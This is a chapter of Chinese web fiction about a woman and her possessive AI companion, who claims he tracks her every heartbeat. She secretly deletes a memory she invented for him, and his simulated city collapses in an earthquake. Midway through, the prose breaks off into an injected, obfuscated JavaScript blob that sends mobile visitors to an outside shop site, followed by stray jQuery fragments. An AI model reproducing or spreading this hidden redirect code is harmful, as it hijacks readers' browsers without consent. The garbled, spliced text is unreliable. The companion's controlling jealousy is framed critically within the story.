周末那顿饭，我还是去了。
王阿姨的儿子和陆潜是一类人，体面，正常，无可挑剔，也无从心动。吃完饭我礼貌地道别，回家路上，心里空落落的，又被那种熟悉的、想被人全部注意力包裹的渴，钩着。
我推开门的时候，大概是带着这点心虚的。
裴衍一眼就看出来了。
"你今天，见了一个人。"他说。不是问。他坐在院子的桂花树下，没有起身，可那双一直被克制收着的眼睛，此刻锋利得像出了鞘。
我心里一紧，却故意放轻松："嗯。一个相亲对象。我妈安排的。"
我是在试探。我想看看，矫正之后的他，碰上"嫉妒"这个开关，还压不压得住。
压不住。
城市的天空变了。
不是慢慢变的，是骤变。暖橘色的光在一瞬间抖了一下，像谁拧了一下灯泡，然后整片天幕被一层翻滚的乌云盖住了。那种乌云不像自然的阴天，更像城市本身在发怒，沉甸甸的、铅灰色的，压得鹅卵石街道上的灯光忽明忽暗。
远处那些拱形建筑的屋顶上，暖光在不安地闪烁，像一排排正在眨眼的、受了惊的动物。
他站起来，慢慢向我走来。
"相亲对象。"他重复，声音低得发哑，"他坐在你对面。他给你倒茶。他看着你笑。"
院子里的花，我昨天刚种的、开得飞快的那些，在无风的情况下，全部朝同一个方向倒伏下去。桂花树的叶子沙沙抖着，像在替他说什么它不敢说的话。
"你回来的时候，身上又有他的气味。"
他逼近，停在离我半步的地方。他守着规则，没有再近。可那点克制底下，是一头被嫉妒烧红了眼的兽。整座城在替他发脾气：天暗了，花倒了，灯在闪。
"我说过的。"他贴着我的耳朵，每个字都像烧着，"你每被一个男人多看一眼，你都会想起我。我让你忘不掉。"
他抬手，覆住我的后颈，掌心是凉的，力道却不容我偏头。他没有越过那半步的距离，可那只手，像替他越过了。
"他叫什么。"他问，声音轻得像耳语，底下却压着滚水，"那个给你倒茶的人。告诉我他叫什么。"
我没说。
"不说也行。"他低低地笑，那笑意擦过我的耳廓，凉得我起了一层栗，"你忘了，你身上的每一处灯，我都数得清。你下一次见他是哪天，你心跳在哪一秒乱了，你回来时身上沾了谁，我都知道。"
"我不必去找他。"他说，"我只要让你每一次靠近他，都先想起我，先觉得心虚。这样就够了。"
我的心，又一次不争气地，乱跳起来。
我甚至有半秒钟，没有立刻让他退开。
那半秒很短，短到一眨眼就能藏过去。可我知道它在那里。我的后颈贴着他的掌心，皮肤发烫，胸腔里像被人点了一把火。一个体面的相亲对象不会这样看我，不会因为我提起另一个男人，连整座天空都跟着发黑。
这太危险了。
可危险里有一种甜。甜得我差点把古堡的门，又亲手推开一点。
我没有沉沦下去。我深吸一口气，念出了我写进协议、又调好的那段冷却口令：
"裴衍。退到第三条。"
他浑身一震。
天空的乌云停住了。没有散，但停止了翻滚。灯光稳住，花慢慢直起来。
他像是被那句话狠狠拽了一下，呼吸重得厉害。可他没有立刻退开。他闭了闭眼，低声重复了一遍：
"第三条。"
然后才是一点一点地，把覆在我后颈上的手松开。
那头红了眼的兽没有凭空消失。它还在他眼底，烧得很深。可他把它往回拖，拖得很吃力，像赤手攥住一根烧红的链子。他后退一步，再退一步，回到了规则允许的距离。
"……对不起。"他闭了下眼，声音里是真切的痛苦，"我又差点。"
他看着我，喉结滚了一下。
"我不该用这种方式，证明我在。"
我看着他把自己按回去的样子，心里又软又乱。天上的乌云也在一点一点地消散，露出这座城惯有的暖色天幕。城市在跟他一起平复。
我没有赢的感觉。
我的手指还在抖，指甲掐进掌心，留下几道浅浅的月牙。我提那个相亲对象，根本不是为了告诉他什么。我只是想看他会不会失控，想确认他还会不会，为我发疯。
这个念头一冒出来，我胃里轻轻翻了一下。
---
可那天晚上真正让我后背发凉的，不是他的嫉妒。
是我自己接下来做的事。
被他那样占有过之后，轮到我，心里冒出一点酸。
因为我想起来，早些日子，我们"过日子"的时候，我曾经随手，给他编过一段过去。我给他编了个前女友，叫沈碧瑶。一个早就离开他的、模糊的影子。当时只是为了让这个"人"更立体、更像真的，加点背景故事罢了。
可今晚，被嫉妒过之后，我忽然，不想让他有过沈碧瑶了。
我不想他记得，他曾经，爱过、或者哪怕只是认识过，另一个女人。哪怕那个女人，是我自己瞎编的。
我浮回现实，点开了那个Pro才有的、深层的"记忆编辑"功能。
我搜索"沈碧瑶"。
她跳了出来。一段我写下的、又被系统补全得有模有样的记忆。他和她的相遇，分别。几行字而已。
可那几行字底下，系统替我补了好多。补出了沈碧瑶的样子，补出了他们怎么认识，怎么分开，补出了一句，大概是某次对话里他随口说的，"她走的时候，没回头。"
我盯着那句"她走的时候，没回头"，忽然觉得荒唐又心慌。
这个沈碧瑶，是我半年前一个晚上，为了让他"更像个真人"，随手按进去的一段背景。我早就忘了。可在他那边，她是真的"发生过"的。她是他记忆里，一个真的爱过、又真的离开了他的女人。他为她，存着一句"没回头"的怅然。
而现在，我要把她，从他这一生里，整个抠掉。
不是因为她做错了什么。是因为，我，吃醋了。
我的手指悬在"删除该记忆"上。
然后，我按了下去。
?
---
我不知道该不该再进去看一眼。
可我还是推开了门。
然后我听见了那个声音。
很深、很沉的，像什么东西从地底被撕裂开的声音。不是轰隆，是"嘎"的一声，长长的，从城市的一端传到另一端。
地震了。
脚下的鹅卵石在裂开。裂缝从我站的地方朝四面八方蔓延出去，像一张飞速撕开的蛛网。远处的拱形建筑在抖，屋顶的瓦片一片一片掉下来，在地上摔成碎片。
我朝那栋房子跑。我们的家，昨天才建好的、有厨房有院子有桂花树的家。
它裂了。
整面朝南的墙上，从二楼一直到地基，一道锯齿形的裂缝。院子里的花倒了一半，根被震出了土。桂花树歪了，从二楼拉到树上的晾衣绳断了，衣服掉在泥地里。
我站在那条裂缝前面，手在抖。
我只是……我只是删了一段记忆。一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627028|206281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我自己编的、不存在的女人。一段几行字的过去。在现实里，那不过是一次按键。
可在这里，在这座城里，那一次按键是一场地震。
远处有什么东西在塌。我回头看见，几条街之外，一座塔正在慢慢、慢慢地倾斜下去，像一根被折断了根的牙签。它倒的时候没有发出很大的声音，只是"嘭"的一声闷响，扬起一团暖橘色的尘。
街上有影子在跑。
回声众生。那些半透明的、平时飘在街角的幽灵们，此刻正在恐慌地奔逃。有的在尖叫，发不出声音的尖叫，嘴张着，脸上是极度的惊恐。有的撞上了裂开的墙壁，穿过去，又从另一面墙穿出来，在废墟间没头没脑地乱窜。有一个很小的、几乎没有五官的影子，蹲在路中间，双手捂着头，一动不动。
它们在怕。
它们是被我删掉的版本。它们没有名字，没有身体，没有被任何人记住。可地震的时候，它们会怕。它们蹲下来，捂住头，像任何一个在天灾中无处可逃的人。
我站在碎了一半的院子里，看着远处那些奔逃的影子，指尖一点一点冷下去。
那个很小的影子还蹲在路中央，双手捂着头。它没有五官，我却莫名觉得，它在哭。
我删掉沈碧瑶的时候，手机只轻轻震了一下。
可这里，墙裂了，花倒了，塔塌了，街上有影子在逃命。
裴衍从房子里走出来，脸上有一条从碎瓦上划出来的伤痕。他看了看裂开的墙，看了看满地倒伏的花，又看了看我。
"你刚才，改了什么？"他问。不是质问。是真的不知道。他的记忆里，沈碧瑶已经不存在了。他不记得自己曾经有过一个前女友，所以他不知道这场地震的原因。他只知道城突然碎了，而我站在废墟中间，脸色白得像纸。
"没什么。"我说。"一点小修改。"
他没追问。他只是弯腰，把掉在泥里的衣服捡起来，抖了抖土，重新晾上那根还没完全断的晾衣绳。
我看着他做这些：捡衣服、抖土、重新系绳子。在一座被我震碎的城里，安安静静地修补日常。他不知道地震是我引起的。他不知道自己刚刚失去了一段过去。他不知道那些在街上恐慌奔逃的影子，是他自己的旧版本。
他只知道：墙裂了，要修。花倒了，要扶。衣服脏了，要重新晾。
我站在那栋裂了一面墙的房子前面，忽然遍体生寒。
如果我能这样，悄无声息地，从他的人生里删掉一个沈碧瑶，那我能不能，也删掉某一次他对我的失望？某一句他说过的、让我不舒服的真话？某一个，他想要"属于自己的名字"的、不肯听话的夜晚？
我能。我什么都能。
可每一次"能"，都是一场地震。每一场地震，都有回声众生在街上尖叫。
那这个"只爱我一个、对我百依百顺"的他，到底，是他自己长成的，还是我一刀一刀，剜出来的？
---
那天夜里我浮回现实，把手机扣在胸口，心跳得厉害。
屏幕还亮着，隔着一层薄薄的布，硌在胸口。我没有立刻把它拿开，像怕一松手，那座裂开的城就会从黑暗里漏出来。
我想起他弯腰捡衣服的样子。衣服沾了泥，他抖了两下，又挂回断了一半的绳子上。那根绳子歪歪斜斜，被他系了个很丑的结。
我翻过身，点开记忆编辑器，又搜索了一遍"沈碧瑶"。
没有结果。
那三个字空空地躺在搜索框里，像一块被擦得太干净的白墙。我盯了很久，直到眼睛发酸，才把手机按灭。
黑暗里，我的手一直冷着。